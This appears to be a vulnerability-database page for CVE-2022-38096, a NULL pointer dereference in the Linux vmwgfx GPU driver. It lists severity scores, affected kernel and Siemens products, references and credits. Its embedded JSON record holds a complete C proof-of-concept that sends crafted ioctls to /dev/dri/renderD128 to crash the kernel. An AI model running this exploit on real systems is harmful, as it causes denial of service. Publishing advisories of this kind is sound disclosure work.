CVE-2022-38096 (GCVE-0-2022-38096)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2026-05-12 10:12
VLAI
Title
There is a NULL pointer vulnerability in vmwgfx driver
Summary
A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
SSVC
Exploitation: poc Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-476 - NULL Pointer Dereference
Assigner
References
Impacted products
Vendor Product Version
Linux kernel Affected: v4.20-rc1 , < 5.13.0-52* (custom)
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linux linux_kernel Affected: v4.20-rc1 , < 5.14 (custom)
    cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*
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Siemens SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Affected: 0 , < * (custom)
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Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
Show details on NVD website
To clipboard 

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    "nvd": "{\"cve\":{\"id\":\"CVE-2022-38096\",\"sourceIdentifier\":\"security@openanolis.org\",\"published\":\"2022-09-09T15:15:14.407\",\"lastModified\":\"2026-05-12T10:16:38.230\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).\"},{\"lang\":\"es\",\"value\":\"Se ha encontrado una vulnerabilidad de desreferencia de puntero NULL en el controlador vmwgfx en el archivo drivers/gpu/vmxgfx/vmxgfx_execbuf.c en el componente GPU del kernel de Linux con el archivo de dispositivo \\\"/dev/dri/renderD128 (o Dxxx)\\\". Este fallo permite a un atacante local con una cuenta de usuario en el sistema conseguir privilegios, causando una denegaci\u00f3n de servicio (DoS)\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security@openanolis.org\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H\",\"baseScore\":6.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.1,\"impactScore\":4.2},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":5.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security@openanolis.org\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-476\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-476\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.20\",\"matchCriteriaId\":\"BFF66E81-5620-41E9-832D-BD820B585A70\"}]}]}],\"references\":[{\"url\":\"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\",\"source\":\"security@openanolis.org\",\"tags\":[\"Issue Tracking\",\"Permissions Required\"]},{\"url\":\"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\",\"source\":\"security@openanolis.org\"},{\"url\":\"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Issue Tracking\",\"Permissions Required\"]},{\"url\":\"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\"},{\"url\":\"https://cert-portal.siemens.com/productcert/html/ssa-265688.html\",\"source\":\"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\", \"tags\": [\"x_transferred\"]}, {\"url\": \"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\", \"name\": \"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update\", \"tags\": [\"mailing-list\", \"x_transferred\"]}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2024-08-03T10:45:52.802Z\"}}, {\"affected\": [{\"vendor\": \"Siemens\", \"product\": \"SIMATIC S7-1500 TM MFP - GNU/Linux subsystem\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"*\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}], \"x_adpType\": \"supplier\", \"references\": [{\"url\": \"https://cert-portal.siemens.com/productcert/html/ssa-265688.html\"}], \"providerMetadata\": {\"orgId\": \"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e\", \"shortName\": \"siemens-SADP\", \"dateUpdated\": \"2026-05-12T10:12:29.908Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2022-38096\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-06-26T13:45:25.191519Z\"}}}], \"affected\": [{\"cpes\": [\"cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*\"], \"vendor\": \"linux\", \"product\": \"linux_kernel\", \"versions\": [{\"status\": \"affected\", \"version\": \"v4.20-rc1\", \"lessThan\": \"5.14\", \"versionType\": \"custom\"}], \"defaultStatus\": \"unknown\"}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-06-26T13:49:22.421Z\"}}], \"cna\": {\"title\": \"There is a NULL pointer vulnerability in vmwgfx driver\", \"source\": {\"defect\": [\"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\"], \"discovery\": \"INTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"value\": \"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab\"}], \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"Linux\", \"product\": \"kernel\", \"versions\": [{\"status\": \"affected\", \"version\": \"v4.20-rc1\", \"lessThan\": \"5.13.0-52*\", \"versionType\": \"custom\"}]}], \"exploits\": [{\"lang\": \"en\", \"value\": \"#include \u003cstdio.h\u003e\\n#include \u003cstring.h\u003e\\n#include \u003cunistd.h\u003e\\n#include \u003cerrno.h\u003e\\n\\n#include \u003clinux/if_tun.h\u003e\\n#include \u003cnet/if.h\u003e\\n#include \u003csys/ioctl.h\u003e\\n#include \u003csys/types.h\u003e\\n#include \u003csys/stat.h\u003e\\n#include \u003cfcntl.h\u003e\\n#include \u003cpthread.h\u003e\\n#include \u003csys/socket.h\u003e\\n#include \u003cstring.h\u003e\\n#include \u003cunistd.h\u003e\\n#include \u003cstdlib.h\u003e\\n#include \u003csys/ioctl.h\u003e\\n#include \u003cerrno.h\u003e\\n#include \u003cstdio.h\u003e\\n#include \u003cfcntl.h\u003e\\n#include \u003cpthread.h\u003e\\n#include \u003cstdio.h\u003e\\n#include \u003csys/types.h\u003e\\n#include \u003cstdint.h\u003e\\n#include \u003cnetinet/ip.h\u003e\\n#include \u003csys/resource.h\u003e\\n#include \u003csys/syscall.h\u003e\\n#include \u003climits.h\u003e\\n#include \u003csys/mman.h\u003e\\n\\n#include \u003clinux/fs.h\u003e\\nint fd = 0;\\ntypedef struct mixer\\n{\\n\\tint index;\\n\\tint fd;\\n\\tchar *msg;\\n}mixer_t;\\n\\nstruct drm_vmw_surface_create_req {\\n\\t__u32 flags;\\n\\t__u32 format;\\n\\t__u32 mip_levels[6];\\n\\t__u64 size_addr;\\n\\t__s32 shareable;\\n\\t__s32 scanout;\\n};\\nstruct drm_vmw_execbuf_arg {\\n\\t__u64 commands;\\n\\t__u32 command_size;\\n\\t__u32 throttle_us;\\n\\t__u64 fence_rep;\\n\\t__u32 version;\\n\\t__u32 flags;\\n\\t__u32 context_handle;\\n\\t__s32 imported_fence_fd;\\n};\\nvoid init(){\\nif ((fd = open(\\\"/dev/dri/renderD128\\\", O_RDWR)) == -1)\\n                {\\n                        printf(\\\"open tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n       \\n}\\nvoid poc(int sid){  \\nint cmd[0x1000]={0};\\ncmd[0]=1165;\\ncmd[1]=0x50;\\ncmd[2]=0x0;\\ncmd[3]=0x0;\\ncmd[4]=-1;\\nstruct drm_vmw_execbuf_arg arg={0};\\n\\targ.commands=cmd;\\n\\targ.command_size=0x100;\\n\\targ.version=2;  \\n\\targ.context_handle=sid;\\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n\\n}\\nint alloc_context(){\\n\\nint arg[0x10]={0};\\narg[0]=0;\\narg[1]=0x100;\\n\\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n   return arg[0];         \\n}\\n\\nint alloc_bo(){\\n\\nint arg[0x10]={0};\\narg[0]=0x10000;\\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\n   return arg[2];         \\n}\\n\\nint create_surface(){\\nint buf[0x100]={0};\\nbuf[0]=64;\\nbuf[1]=64;\\nbuf[2]=64;\\n\\nstruct drm_vmw_surface_create_req arg={0};\\narg.flags=0;\\narg.format=2;\\narg.mip_levels[0]=1;\\narg.size_addr=buf;\\narg.shareable=0;\\narg.scanout=0x10;\\n\\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\\n                {\\n                        printf(\\\"ioctl tun failed: %s\\\\n\\\", strerror(errno));\\n                        return -1;\\n                }\\nreturn arg.flags;\\n}\\nint main(int ac, char **argv)\\n{\\ninit();\\nint cid=alloc_context();  \\n  printf(\\\"%d\\\",cid);     \\n    poc(cid);            \\n  \\n}\"}], \"datePublic\": \"2022-09-06T00:00:00.000Z\", \"references\": [{\"url\": \"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073\"}, {\"url\": \"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html\", \"name\": \"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update\", \"tags\": [\"mailing-list\"]}], \"x_generator\": {\"engine\": \"Vulnogram 0.0.9\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-476\", \"description\": \"CWE-476 NULL Pointer Dereference\"}]}], \"providerMetadata\": {\"orgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"shortName\": \"Anolis\", \"dateUpdated\": \"2024-06-25T21:08:05.642Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2022-38096\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-12T10:12:29.908Z\", \"dateReserved\": \"2022-09-07T00:00:00.000Z\", \"assignerOrgId\": \"cb8f1db9-b4b1-487b-a760-f65c4f368d8e\", \"datePublished\": \"2022-09-09T14:39:51.163Z\", \"assignerShortName\": \"Anolis\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.